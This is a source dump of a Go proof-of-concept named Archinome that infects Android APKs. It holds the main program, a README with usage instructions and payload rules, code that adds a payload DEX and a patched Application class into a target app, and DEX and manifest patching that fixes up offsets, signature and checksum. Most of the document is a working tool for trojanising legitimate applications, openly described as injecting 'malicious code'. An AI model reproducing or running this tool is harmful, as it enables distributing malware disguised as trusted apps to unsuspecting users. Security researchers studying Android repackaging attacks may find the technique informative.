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Infecting Android Applications The New Way/InfectingAndroidApplicationsTheNewWay.pdf Normal file
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// author: Thatskriptkid (www.orderofsixangles.com)
// You can use my kaitai struct for binary manifest.
// https://github.com/thatskriptkid/Kaitai-Struct-Android-Manifest-binary-XML
package main
import (
"common"
mydex "dex"
"encoding/xml"
"fmt"
"log"
"manifest"
"os"
)
func main() {
//setup logging
logFile, err := os.OpenFile("apkinfector.log", os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)
if err != nil {
log.Fatal(err)
}
defer logFile.Close()
log.SetOutput(logFile)
manifestPlainFile, err := os.Create(manifest.PlainPath) // create/truncate the file
if err != nil {
log.Panic("Failed to create AndroidManifest plaintext", err)
}
enc := xml.NewEncoder(manifestPlainFile)
enc.Indent("", "\t")
fmt.Println("Parsing APK...")
manifest.ParseApk(os.Args[1], enc)
//close before reading
manifestPlainFile.Close()
fmt.Println("Patching APK")
fmt.Println("\t--Patching manifest...")
manifest.Patch()
fmt.Println("\t--Patching dex...")
mydex.Patch()
fmt.Println("Injecting...")
common.Inject(os.Args[1], os.Args[2])
fmt.Println("Done! Now you should sign your apk")
}

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GNU GENERAL PUBLIC LICENSE
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free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.

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# Apk infector Archinome PoC
Program that infects APK with malicious code using DEX/Manifest patching
**Full description about What is it and How it works:**
https://www.orderofsixangles.com/en/2020/04/07/android-infection-the-new-way.html (EN)
https://www.orderofsixangles.com/ru/2020/07/04/Infecting-android-app-the-new-way.html (RU)
**Please read article berfore use it!**
Receives two args:
```
./Archinome path_to_apk output_apk_filename
```
To inject your malicious code, you should place file named payload.dex with malicious code that follow rules:
1. Class name within payload.dex - `aaaaaaaaaaaa.payload`
2. Method `public void executePayload()`
After you infect apk please sign it.
If there are problems make sure that:
1. The original application works
2. All file paths in PoC are correct
3. There's nothing unusual in apkinfector.log.
4. The name of the original Application class in the patched InjectedApp.dex is really in its place.
5. The target application uses its Application class. Otherwise, PoC inoperability is predictable.
If nothing helped, try to play with the `-min-api` parameter when compiling payload classes.
If nothing worked, then create an issue on github.
PoC includes files from https://github.com/avast/apkparser.
I am not a Go developer so forgive me for the quality of code

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package common
import (
"archive/zip"
"compress/flate"
"fmt"
"io"
"io/ioutil"
"log"
"os"
"path/filepath"
"strconv"
"strings"
)
var zipOutput, _ = filepath.Abs("sample_unzipped")
var injectedAppPrevName, _ = filepath.Abs("InjectedApp_patched.dex")
var payloadPrevName, _ = filepath.Abs("payload.dex")
func Inject(path string, zipModifiedOutput string) {
if _, err := os.Stat(zipOutput); err == nil {
err := os.RemoveAll(zipOutput)
if err != nil {
log.Panic(err)
}
}
if _, err := os.Stat(zipModifiedOutput); err == nil {
err := os.Remove(zipModifiedOutput)
if err != nil {
log.Panic(err)
}
}
//unzip apk
files, err := unzip(path, zipOutput)
if err != nil {
log.Panic("Failed to unzip APK",err)
//log.Printf("Unzipped:\n" + strings.Join(files, "\n"))
}
//calc classes.dex index
max := strings.Count(strings.Join(files, ""), "classes")
log.Printf("max classes dex index = %d", max)
max += 1
// inject InjectedApp.dex
var injectedAppNewName = "classes" + strconv.Itoa(max) + ".dex"
copy(injectedAppPrevName, zipOutput + "\\" + injectedAppNewName)
max +=1
// inject payload.dex
var payloadNewName = "classes" + strconv.Itoa(max) + ".dex"
copy(payloadPrevName, zipOutput + "\\" + payloadNewName)
log.Printf("Successfuly injected DEX:" + injectedAppNewName + "," + payloadNewName)
//replace manifest
copy(ManifestBinaryPath, zipOutput + "\\AndroidManifest.xml")
files = append(files[0:], zipOutput + "\\" + injectedAppNewName)
files = append(files[0:], zipOutput + "\\" + payloadNewName)
// zip all files
fmt.Println("\t--zipping...")
ZipWriter(zipModifiedOutput)
//delete sample_unzipped - we dont need it
if _, err := os.Stat(zipOutput); err == nil {
err := os.RemoveAll(zipOutput)
if err != nil {
log.Panic(err)
}
}
}
func ZipWriter(zipModifiedOutput string) {
baseFolder,_ := filepath.Abs("sample_unzipped")
// Get a Buffer to Write To
outFile, err := os.Create(zipModifiedOutput)
if err != nil {
fmt.Println(err)
}
defer outFile.Close()
// Create a new zip archive.
w := zip.NewWriter(outFile)
// Register a custom Deflate compressor.
w.RegisterCompressor(zip.Deflate, func(out io.Writer) (io.WriteCloser, error) {
return flate.NewWriter(out, flate.BestCompression)
})
// Add some files to the archive.
addFiles(w, baseFolder, "")
if err != nil {
fmt.Println(err)
}
// Make sure to check the error on Close.
err = w.Close()
if err != nil {
fmt.Println(err)
}
}
func addFiles(w *zip.Writer, basePath, baseInZip string) {
// Open the Directory
files, err := ioutil.ReadDir(basePath)
if err != nil {
fmt.Println(err)
}
for _, file := range files {
//fmt.Println(basePath + file.Name())
if !file.IsDir() {
dat, err := ioutil.ReadFile(basePath + "\\" + file.Name())
if err != nil {
fmt.Println(err)
}
// Add some files to the archive.
f, err := w.Create(baseInZip + file.Name())
if err != nil {
fmt.Println(err)
}
_, err = f.Write(dat)
if err != nil {
fmt.Println(err)
}
} else if file.IsDir() {
// Recurse
newBase := basePath + "\\" + file.Name()
//fmt.Println("Recursing and Adding SubDir: " + file.Name())
//fmt.Println("Recursing and Adding SubDir: " + newBase)
recPath := baseInZip + file.Name() + "/"
addFiles(w, newBase, recPath)
}
}
}
func copy(src, dst string){
sourceFileStat, err := os.Stat(src)
if err != nil {
log.Panic("Failed to inject DEX", err)
}
if !sourceFileStat.Mode().IsRegular() {
log.Panic("Failed to inject DEX", err)
}
source, err := os.Open(src)
if err != nil {
log.Panic("Failed to inject DEX", err)
}
defer source.Close()
destination, err := os.Create(dst)
if err != nil {
log.Panic("Failed to inject DEX", err)
}
defer destination.Close()
_, err = io.Copy(destination, source)
if err != nil {
log.Panic("Failed to inject DEX", err)
}
}
// Unzip will decompress a zip archive, moving all files and folders
// within the zip file (parameter 1) to an output directory (parameter 2).
func unzip(src string, dest string) ([]string, error) {
var filenames []string
r, err := zip.OpenReader(src)
if err != nil {
return filenames, err
}
defer r.Close()
for _, f := range r.File {
// Store filename/path for returning and using later on
fpath := filepath.Join(dest, f.Name)
// Check for ZipSlip. More Info: http://bit.ly/2MsjAWE
if !strings.HasPrefix(fpath, filepath.Clean(dest)+string(os.PathSeparator)) {
return filenames, fmt.Errorf("%s: illegal file path", fpath)
}
filenames = append(filenames, fpath)
if f.FileInfo().IsDir() {
// Make Folder
os.MkdirAll(fpath, os.ModePerm)
continue
}
// Make File
if err = os.MkdirAll(filepath.Dir(fpath), os.ModePerm); err != nil {
return filenames, err
}
outFile, err := os.OpenFile(fpath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())
if err != nil {
return filenames, err
}
rc, err := f.Open()
if err != nil {
return filenames, err
}
_, err = io.Copy(outFile, rc)
// Close the file without defer to close before next iteration of loop
outFile.Close()
rc.Close()
if err != nil {
return filenames, err
}
}
return filenames, nil
}

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package common
import (
"log"
"os"
"path/filepath"
)
var ManifestBinaryPath, _ = filepath.Abs("AndroidManifest.xml")
func WriteChanges(raw []byte, path string) {
//Open a new file for writing only
file, err := os.OpenFile(
path,
os.O_WRONLY|os.O_TRUNC|os.O_CREATE,
0666,
)
if err != nil {
panic(err)
}
defer file.Close()
// Write bytes to file
_, err = file.Write(raw)
if err != nil {
log.Panic("Failed to write changes to disk", err)
}
}

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package mydex
import (
"bytes"
"common"
"crypto/sha1"
"encoding/binary"
"hash/adler32"
"io/ioutil"
"log"
"manifest"
"path/filepath"
"strings"
)
const (
// DEX structure offsets
fileSizeOff = 0x20
mapOff = 0x34
dataSizeOff = 0x68
signatureOff = 0x20
checksumOff = 0xc
stringIdsCount = 0x3 //how many stringIds we should change
classDataOffOff = 0xe4 //map->class_def_item->class_data_off
classDataItemOffOff = 0x29c //map->class_data_item->offset
annotationOffItemOff = 0x2a8 //map->annotation_set_item->entries->annotation_off_item
mapListOffOff = 0x2b4 //map->map_list->offset
posStringIdsChangedOff = 0x84
)
// this name is patched so we should make it
// as short as possible
//var placeholder = "La/a/a;"
var placeholder = "Lz/z/z;"
var placeholderLength = len(placeholder) + 1
var placeholderOff int
var dexPath, _ = filepath.Abs("InjectedApp.dex")
var dexPathNew, _ = filepath.Abs("InjectedApp_patched.dex")
// SHA-1 signature (hash) of the rest of the file (everything but magic, checksum, and this field); used to uniquely identify files
func patchSignature(data []byte) {
signature := sha1.Sum(data[signatureOff:])
log.Printf("New DEX Signature = %x\n", signature)
// patch signature
for i := 0; i < 20; i++ {
data[0xc+i] = signature[i]
}
}
// adler32 checksum of the rest of the file (everything but magic and this field); used to detect file corruption
func patchChecksum(data []byte) {
checksum := adler32.Checksum(data[checksumOff:])
log.Printf("New DEX Checksum = %x\n", checksum)
// patch checksum
binary.LittleEndian.PutUint32(data[0x8:], checksum)
}
// Yes, dex uses sleb and uleb data types not uint32
// But we use our predictable DEX so we can ignore it
// What is changed in DEX after patching parent class?
// DEX format doc: https://source.android.com/devices/tech/dalvik/dex-format
/*
header_item->checksum
header_item->signature
header_item->file_size
header_item->map_off
header_item->data_size
string_id_item->string_data_off
map->class_def_item->class_data_off
string_data_item->utf16_size
map->class_data_item->offset
map->annotation_set_item->entries->annotation_off_item
map->map_list->offset
*/
// Do not forget about alignment of some structures!
func Patch() {
data, err := ioutil.ReadFile(dexPath)
if err != nil {
log.Panicf("DEX Failed to read %s", dexPath)
}
// calc offset to placeholder
placeholderOff = bytes.Index(data, []byte(placeholder))
log.Printf("placeholderOff = 0x%x\n", placeholderOff)
// we should add "L" and ";", and convert "."->"/" to be a normal DEX string
//tmpName := "z.z.zzzzzzzzzzzzzzzz"
oldAppNameNormalized := "L" + strings.ReplaceAll(manifest.OldAppNameUTF8, ".", "/") + ";"
//oldAppNameNormalized := "L" + strings.ReplaceAll(tmpName, ".", "/") + ";"
newAppName := oldAppNameNormalized + "\x00"
// patch string len (string_data_item->utf16_size)
// -1 - it's a position of len before every string in dex
data[placeholderOff - 1] = uint8(len(oldAppNameNormalized))
// how many bytes we added to DEX?
var sizeDiff uint32
sizeDiff = uint32(len(newAppName) - placeholderLength)
log.Printf("sizeDiff =0x%x", sizeDiff)
// how many align bytes we should add
var alignCount uint32
alignCount = 4 - (sizeDiff % 4)
if alignCount == 4 {
alignCount = 0
}
log.Printf("alignCount = 0x%x", alignCount)
// patch mapOff (header_item->map_off)
var oldMapOff uint32
oldMapOff = binary.LittleEndian.Uint32(data[mapOff:])
newMapOff := oldMapOff + sizeDiff + alignCount
binary.LittleEndian.PutUint32(data[mapOff:], newMapOff)
log.Printf("old mapOff = 0x%0x | new mapOff = 0x%0x\n", oldMapOff, newMapOff)
// patch datasize (header_item->data_size)
var oldDataSize uint32
oldDataSize = binary.LittleEndian.Uint32(data[dataSizeOff:])
newDataSize := oldDataSize + sizeDiff + alignCount
binary.LittleEndian.PutUint32(data[dataSizeOff:], newDataSize)
log.Printf("old dataSize = 0x%0x | new dataSize = 0x%0x\n", oldDataSize, newDataSize)
// patch stringIds (string_id_item->string_data_off)
// stringIds - table of offsets to strings
// offsets counted from the start (0x0)
// posStringIdsChangedOff - position in our DEX from which we start changing
// we hardcoded it because we use our predictable DEX
var oldId uint32
stringIdsReader := bytes.NewReader(data[posStringIdsChangedOff:])
j := 0
for i := 0; i < stringIdsCount; i++ {
err = binary.Read(stringIdsReader, binary.LittleEndian, &oldId)
if err != nil {
log.Panic("Failed to read stringId", err)
}
newId := oldId + sizeDiff
binary.LittleEndian.PutUint32(data[posStringIdsChangedOff + j:], newId)
j += 4
}
// patch map->class_def_item->class_data_off (4 byte)
classDataOff := binary.LittleEndian.Uint32(data[classDataOffOff:])
newClassDataOff := classDataOff + sizeDiff
binary.LittleEndian.PutUint32(data[classDataOffOff:], newClassDataOff)
log.Printf("off = 0x%x | classDataOff = 0x%x | newClassDataOff = 0x%x",
classDataOffOff, classDataOff, newClassDataOff)
// patch map->class_data_item->offset (dont apply alignment)
classDataItemOff := binary.LittleEndian.Uint32(data[classDataItemOffOff:])
newClassDataItemOff := classDataItemOff + sizeDiff
binary.LittleEndian.PutUint32(data[classDataItemOffOff:], newClassDataItemOff)
log.Printf("off = 0x%x | classDataItemOff = 0x%x | newClassDataItemOff = 0x%x",
classDataItemOffOff, classDataItemOff, newClassDataItemOff)
// patch map->annotation_set_item->entries->annotation_off_item
annotationOffItem := binary.LittleEndian.Uint32(data[annotationOffItemOff:])
newAnnotationOffItem := annotationOffItem + sizeDiff + alignCount
binary.LittleEndian.PutUint32(data[annotationOffItemOff:], newAnnotationOffItem)
log.Printf("off = 0x%x | annotationOffItem = 0x%x | newAnnotationOffItem = 0x%x",
annotationOffItemOff, annotationOffItem, newAnnotationOffItem)
//patch map->map_list->offset
mapListOff := binary.LittleEndian.Uint32(data[mapListOffOff:])
newMapListOff := mapListOff + sizeDiff + alignCount
binary.LittleEndian.PutUint32(data[mapListOffOff:], newMapListOff)
log.Printf("off = 0x%x | mapListOff = 0x%x | newMapListOff = 0x%x",
mapListOffOff, mapListOff, newMapListOff)
// from now we start patching second half of DEX (after array of strings)
// but first we need to insert alignment bytes
if alignCount != 0 {
var alignSlice = make([]byte, alignCount)
var alignPos uint32 = 0x220
// insert byte alignment
data = append(data[:alignPos], append(alignSlice, data[alignPos:]...)...)
}
// insert new parent application name
data = append(data[:placeholderOff], append([]byte(newAppName), data[placeholderOff + placeholderLength:]...)...)
// patch new fileSize (header_item->file_size)
var fileSize = uint32(len(data))
binary.LittleEndian.PutUint32(data[fileSizeOff:], fileSize)
log.Printf("fileSize = 0x%x", fileSize)
patchSignature(data[0:])
patchChecksum(data[0:])
common.WriteChanges(data, dexPathNew)
}

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module github.com/thatskriptkid/apk-infector-Archinome-PoC
go 1.14
require golang.org/x/text v0.3.3 // indirect

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golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=

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// Package apkparser parses AndroidManifest.xml and resources.arsc from Android APKs.
package manifest
import (
"common"
"fmt"
"io"
"log"
"os"
)
type ApkParser struct {
apkPath string
zip *ZipReader
encoder ManifestEncoder
resources *ResourceTable
}
// save manifest to disk for binary patching
func (p *ApkParser) SaveManifestToDisk() {
file := p.zip.File["AndroidManifest.xml"]
if file == nil {
fmt.Errorf("Failed to find %s in APK!", "AndroidManifest.xml")
}
if err := file.Open(); err != nil {
panic(err)
}
defer file.Close()
// open output file
fo, err := os.Create(common.ManifestBinaryPath)
if err != nil {
panic(err)
}
// close fo on exit and check for its returned error
defer func() {
if err := fo.Close(); err != nil {
panic(err)
}
}()
// make a buffer to keep chunks that are read
buf := make([]byte, 1024)
for {
// read a chunk
n, err := file.Read(buf)
if err != nil && err != io.EOF {
panic(err)
}
if n == 0 {
break
}
// write a chunk
if _, err := fo.Write(buf[:n]); err != nil {
panic(err)
}
}
}
// Calls ParseApkReader
func ParseApk(path string, encoder ManifestEncoder) {
f, zipErr := os.Open(path)
if zipErr != nil {
log.Panic("Failed to open apk")
}
defer f.Close()
ParseApkReader(f, encoder)
}
// Parse APK's Manifest, including resolving refences to resource values.
// encoder expects an XML encoder instance, like Encoder from encoding/xml package.
//
// zipErr != nil means the APK couldn't be opened. The manifest will be parsed
// even when resourcesErr != nil, just without reference resolving.
func ParseApkReader(r io.ReadSeeker, encoder ManifestEncoder) {
zip, zipErr := OpenZipReader(r)
if zipErr != nil {
log.Panic("Failed to open zip reader")
}
defer zip.Close()
ParseApkWithZip(zip, encoder)
}
// Parse APK's Manifest, including resolving refences to resource values.
// encoder expects an XML encoder instance, like Encoder from encoding/xml package.
//
// Use this if you already opened the zip with OpenZip or OpenZipReader before.
// This method will not Close() the zip.
//
// The manifest will be parsed even when resourcesErr != nil, just without reference resolving.
func ParseApkWithZip(zip *ZipReader, encoder ManifestEncoder) {
apkParser := ApkParser{
zip: zip,
encoder: encoder,
}
fmt.Println("\t--Parsing resources...")
apkParser.parseResources()
fmt.Println("\t--Parsing manifest...")
apkParser.ParseXml("AndroidManifest.xml")
apkParser.SaveManifestToDisk()
}
// Prepare the ApkParser instance, load resources if possible.
// encoder expects an XML encoder instance, like Encoder from encoding/xml package.
//
// This method will not Close() the zip, you are still the owner.
func NewParser(zip *ZipReader, encoder ManifestEncoder) (parser *ApkParser) {
parser = &ApkParser{
zip: zip,
encoder: encoder,
}
parser.parseResources()
return
}
func (p *ApkParser) parseResources() {
if p.resources != nil {
log.Panic("resources is not nil")
}
defer func() {
if r := recover(); r != nil {
log.Panic("recover() not nil")
}
}()
resourcesFile := p.zip.File["resources.arsc"]
if resourcesFile == nil {
log.Panic("resource.arsc not found")
}
if err := resourcesFile.Open(); err != nil {
log.Panic("Failed to open resources.arsc: %s", err.Error())
}
defer resourcesFile.Close()
p.resources = ParseResourceTable(resourcesFile)
}
func (p *ApkParser) ParseXml(name string) {
file := p.zip.File[name]
if file == nil {
log.Panicf("Failed to find %s in APK!", name)
}
if err := file.Open(); err != nil {
log.Panic("Failed to open manifest")
}
defer file.Close()
var lastErr error
for file.Next() {
if err := ParseXml(&myReader{r: file}, p.encoder, p.resources); err != nil {
lastErr = err
}
}
if lastErr == ErrPlainTextManifest {
log.Panic("Manifest in plaintext")
}
}

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Infecting Android Applications The New Way/master/manifest/binxml.go Normal file
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package manifest
import (
"bytes"
"encoding/binary"
"encoding/xml"
"errors"
"fmt"
"io"
"io/ioutil"
"strconv"
"strings"
"unsafe"
)
type binxmlParseInfo struct {
strings stringTable
resourceIds []uint32
encoder ManifestEncoder
res *ResourceTable
}
// Some samples have manifest in plaintext, this is an error.
// 2c882a2376034ed401be082a42a21f0ac837689e7d3ab6be0afb82f44ca0b859
var ErrPlainTextManifest = errors.New("xml is in plaintext, binary form expected")
// Deprecated: just calls ParseXML
func ParseManifest(r io.Reader, enc ManifestEncoder, resources *ResourceTable) error {
return ParseXml(r, enc, resources)
}
// the main purpose of this reader is to
// count number of bytes readed after parsing string table
// so we can calc offset to the end of the string table
type myReader struct {
read int
r io.Reader
}
type myRead interface {
GetRead() int
}
func (mr *myReader) Read(p []byte) (n int, err error) {
n, err = mr.r.Read(p)
mr.read += n
return
}
func (mr *myReader) GetRead() int {
return mr.read
}
// Parse the binary Xml format. The resources are optional and can be nil.
func ParseXml(r io.Reader, enc ManifestEncoder, resources *ResourceTable) error {
x := binxmlParseInfo{
encoder: enc,
res: resources,
}
id, headerLen, totalLen, err := parseChunkHeader(r)
if err != nil {
return err
}
//check if manifest is binary not plaintext
if (id & 0xFF) == '<' {
buf := bytes.NewBuffer(make([]byte, 0, 8))
binary.Write(buf, binary.LittleEndian, &id)
binary.Write(buf, binary.LittleEndian, &headerLen)
binary.Write(buf, binary.LittleEndian, &totalLen)
if s := buf.String(); strings.HasPrefix(s, "<?xml ") || strings.HasPrefix(s, "<manif") {
return ErrPlainTextManifest
}
}
// Android doesn't care.
/*if id != chunkAxmlFile {
return fmt.Errorf("Invalid top chunk id: 0x%08x", id)
}*/
defer x.encoder.Flush()
totalLen -= chunkHeaderSize
var len uint32
var lastId uint16
for i := uint32(0); i < totalLen; i += len {
id, _, len, err = parseChunkHeader(r)
if err != nil {
return fmt.Errorf("Error parsing header at 0x%08x of 0x%08x %08x: %s", i, totalLen, lastId, err.Error())
}
lastId = id
lm := &io.LimitedReader{R: r, N: int64(len) - 2*4}
switch id {
case chunkStringTable:
x.strings, err = parseStringTable(lm)
case chunkResourceIds:
err = x.parseResourceIds(lm)
default:
if (id & chunkMaskXml) == 0 {
err = fmt.Errorf("Unknown chunk id 0x%x", id)
break
}
// skip line number and unknown 0xFFFFFFFF
if _, err = io.CopyN(ioutil.Discard, lm, 2*4); err != nil {
break
}
switch id {
case chunkXmlNsStart:
err = x.parseNsStart(lm)
case chunkXmlNsEnd:
err = x.parseNsEnd(lm)
case chunkXmlTagStart:
err = x.parseTagStart(lm)
case chunkXmlTagEnd:
err = x.parseTagEnd(lm)
case chunkXmlText:
err = x.parseText(lm)
default:
err = fmt.Errorf("Unknown chunk id 0x%x", id)
}
}
if err == ErrEndParsing {
break
} else if err != nil {
return fmt.Errorf("Chunk: 0x%08x: %s", id, err.Error())
} else if lm.N != 0 {
return fmt.Errorf("Chunk: 0x%08x: was not fully read", id)
}
}
return x.encoder.Flush()
}
func (x *binxmlParseInfo) parseResourceIds(r *io.LimitedReader) error {
if (r.N % 4) != 0 {
return fmt.Errorf("Invalid chunk size!")
}
count := uint32(r.N / 4)
var id uint32
for i := uint32(0); i < count; i++ {
if err := binary.Read(r, binary.LittleEndian, &id); err != nil {
return err
}
x.resourceIds = append(x.resourceIds, id)
}
return nil
}
func (x *binxmlParseInfo) parseNsStart(r *io.LimitedReader) error {
var err error
ns := &xml.Name{}
var idx uint32
if err = binary.Read(r, binary.LittleEndian, &idx); err != nil {
return err
}
if ns.Local, err = x.strings.get(idx); err != nil {
return err
}
if err = binary.Read(r, binary.LittleEndian, &idx); err != nil {
return err
}
if ns.Space, err = x.strings.get(idx); err != nil {
return err
}
// TODO: what to do with this?
_ = ns
return nil
}
func (x *binxmlParseInfo) parseNsEnd(r *io.LimitedReader) error {
if _, err := io.CopyN(ioutil.Discard, r, 2*4); err != nil {
return fmt.Errorf("error skipping: %s", err.Error())
}
// TODO: what to do with this?
return nil
}
func (x *binxmlParseInfo) parseTagStart(r *io.LimitedReader) error {
var namespaceIdx, nameIdx, attrCnt, classAttrIdx uint32
if err := binary.Read(r, binary.LittleEndian, &namespaceIdx); err != nil {
return fmt.Errorf("error reading namespace idx: %s", err.Error())
}
if err := binary.Read(r, binary.LittleEndian, &nameIdx); err != nil {
return fmt.Errorf("error reading name idx: %s", err.Error())
}
if _, err := io.CopyN(ioutil.Discard, r, 4); err != nil {
return fmt.Errorf("error skipping flag: %s", err.Error())
}
if err := binary.Read(r, binary.LittleEndian, &attrCnt); err != nil {
return fmt.Errorf("error reading attrCnt: %s", err.Error())
}
if err := binary.Read(r, binary.LittleEndian, &classAttrIdx); err != nil {
return fmt.Errorf("error reading classAttr: %s", err.Error())
}
idAttributeIdx := (attrCnt >> 16) - 1
attrCnt = (attrCnt & 0xFFFF)
styleAttrIdx := (classAttrIdx >> 16) - 1
classAttrIdx = (classAttrIdx & 0xFFFF)
_ = styleAttrIdx
_ = idAttributeIdx
namespace, err := x.strings.get(namespaceIdx)
if err != nil {
return fmt.Errorf("error decoding namespace: %s", err.Error())
}
name, err := x.strings.get(nameIdx)
if err != nil {
return fmt.Errorf("error decoding name: %s", err.Error())
}
tok := xml.StartElement{
Name: xml.Name{Local: name, Space: namespace},
}
var attrData [attrValuesCount]uint32
for i := uint32(0); i < attrCnt; i++ {
if err := binary.Read(r, binary.LittleEndian, &attrData); err != nil {
return fmt.Errorf("error reading attrData: %s", err.Error())
}
// Android actually reads attributes purely by their IDs (see frameworks/base/core/res/res/values/attrs_manifest.xml
// and its generated R class, that's where the indexes come from, namely the AndroidManifestActivity array)
// but good guy android actually puts the strings into the string table on the same indexes anyway, most of the time.
// This is for the samples that don't have it, mostly due to obfuscators/minimizers.
// The ID can't change, because it would break current APKs.
// Sample: 98d2e837b8f3ac41e74b86b2d532972955e5352197a893206ecd9650f678ae31
//
// The exception to this rule is the "package" attribute in the root manifest tag. That one MUST NOT use
// resource ids, instead, it needs to use the string table. The meta attrs 'platformBuildVersion*'
// are the same, except Android never parses them so it's just for manual analysis.
// Sample: a3ee88cf1492237a1be846df824f9de30a6f779973fe3c41c7d7ed0be644ba37
//
// In general, android doesn't care about namespaces, but if a resource ID is used, it has to have been
// in the android: namespace, so we fix that up.
// frameworks/base/core/jni/android_util_AssetManager.cpp android_content_AssetManager_retrieveAttributes
// frameworks/base/core/java/android/content/pm/PackageParser.java parsePackageSplitNames
var attrName string
if attrData[attrIdxName] < uint32(len(x.resourceIds)) {
attrName = getAttributteName(x.resourceIds[attrData[attrIdxName]])
}
var attrNameFromStrings string
if attrName == "" || name == "manifest" {
attrNameFromStrings, err = x.strings.get(attrData[attrIdxName])
if err != nil {
if attrName == "" {
return fmt.Errorf("error decoding attrNameIdx: %s", err.Error())
}
} else if attrName != "" && attrNameFromStrings != "package" && !strings.HasPrefix(attrNameFromStrings, "platformBuildVersion") {
attrNameFromStrings = ""
}
}
attrNameSpace, err := x.strings.get(attrData[attrIdxNamespace])
if err != nil {
return fmt.Errorf("error decoding attrNamespaceIdx: %s", err.Error())
}
if attrNameFromStrings != "" {
attrName = attrNameFromStrings
} else if attrNameSpace == "" {
attrNameSpace = "http://schemas.android.com/apk/res/android"
}
attr := xml.Attr{
Name: xml.Name{Local: attrName, Space: attrNameSpace},
}
switch attrData[attrIdxType] >> 24 {
case AttrTypeString:
attr.Value, err = x.strings.get(attrData[attrIdxString])
if err != nil {
return fmt.Errorf("error decoding attrStringIdx: %s", err.Error())
}
case AttrTypeIntBool:
attr.Value = strconv.FormatBool(attrData[attrIdxData] != 0)
case AttrTypeIntHex:
attr.Value = fmt.Sprintf("0x%x", attrData[attrIdxData])
case AttrTypeFloat:
val := (*float32)(unsafe.Pointer(&attrData[attrIdxData]))
attr.Value = fmt.Sprintf("%g", *val)
case AttrTypeReference:
isValidString := false
if x.res != nil {
var e *ResourceEntry
if attr.Name.Local == "icon" || attr.Name.Local == "roundIcon" {
e, err = x.res.GetIconPng(attrData[attrIdxData])
} else {
e, err = x.res.GetResourceEntry(attrData[attrIdxData])
}
if err == nil {
attr.Value, err = e.value.String()
isValidString = err == nil
}
}
if !isValidString && attr.Value == "" {
attr.Value = fmt.Sprintf("@%x", attrData[attrIdxData])
}
default:
attr.Value = strconv.FormatInt(int64(int32(attrData[attrIdxData])), 10)
}
tok.Attr = append(tok.Attr, attr)
}
return x.encoder.EncodeToken(tok)
}
func (x *binxmlParseInfo) parseTagEnd(r *io.LimitedReader) error {
var namespaceIdx, nameIdx uint32
if err := binary.Read(r, binary.LittleEndian, &namespaceIdx); err != nil {
return fmt.Errorf("error reading namespace idx: %s", err.Error())
}
if err := binary.Read(r, binary.LittleEndian, &nameIdx); err != nil {
return fmt.Errorf("error reading name idx: %s", err.Error())
}
namespace, err := x.strings.get(namespaceIdx)
if err != nil {
return fmt.Errorf("error decoding namespace: %s", err.Error())
}
name, err := x.strings.get(nameIdx)
if err != nil {
return fmt.Errorf("error decoding name: %s", err.Error())
}
return x.encoder.EncodeToken(xml.EndElement{Name: xml.Name{Local: name, Space: namespace}})
}
func (x *binxmlParseInfo) parseText(r *io.LimitedReader) error {
var idx uint32
if err := binary.Read(r, binary.LittleEndian, &idx); err != nil {
return fmt.Errorf("error reading idx: %s", err.Error())
}
text, err := x.strings.get(idx)
if err != nil {
return fmt.Errorf("error decoding idx: %s", err.Error())
}
if _, err := io.CopyN(ioutil.Discard, r, 2*4); err != nil {
return fmt.Errorf("error skipping: %s", err.Error())
}
return x.encoder.EncodeToken(xml.CharData(text))
}

67
Infecting Android Applications The New Way/master/manifest/common.go Normal file
View File

@ -0,0 +1,67 @@
package manifest
import (
"encoding/binary"
"io"
)
const (
chunkNull = 0x0000
chunkStringTable = 0x0001
chunkTable = 0x0002
chunkAxmlFile = 0x0003
chunkResourceIds = 0x0180
chunkTablePackage = 0x0200
chunkTableType = 0x0201
chunkTableTypeSpec = 0x0202
chunkTableLibrary = 0x0203
chunkMaskXml = 0x0100
chunkXmlNsStart = 0x0100
chunkXmlNsEnd = 0x0101
chunkXmlTagStart = 0x0102
chunkXmlTagEnd = 0x0103
chunkXmlText = 0x0104
attrIdxNamespace = 0
attrIdxName = 1
attrIdxString = 2
attrIdxType = 3
attrIdxData = 4
attrValuesCount = 5
chunkHeaderSize = (2 + 2 + 4)
)
type AttrType uint8
const (
AttrTypeNull AttrType = 0x00
AttrTypeReference = 0x01
AttrTypeAttribute = 0x02
AttrTypeString = 0x03
AttrTypeFloat = 0x04
AttrTypeIntDec = 0x10
AttrTypeIntHex = 0x11
AttrTypeIntBool = 0x12
AttrTypeIntColorArgb8 = 0x1c
AttrTypeIntColorRgb8 = 0x1d
AttrTypeIntColorArgb4 = 0x1e
AttrTypeIntColorRgb4 = 0x1f
)
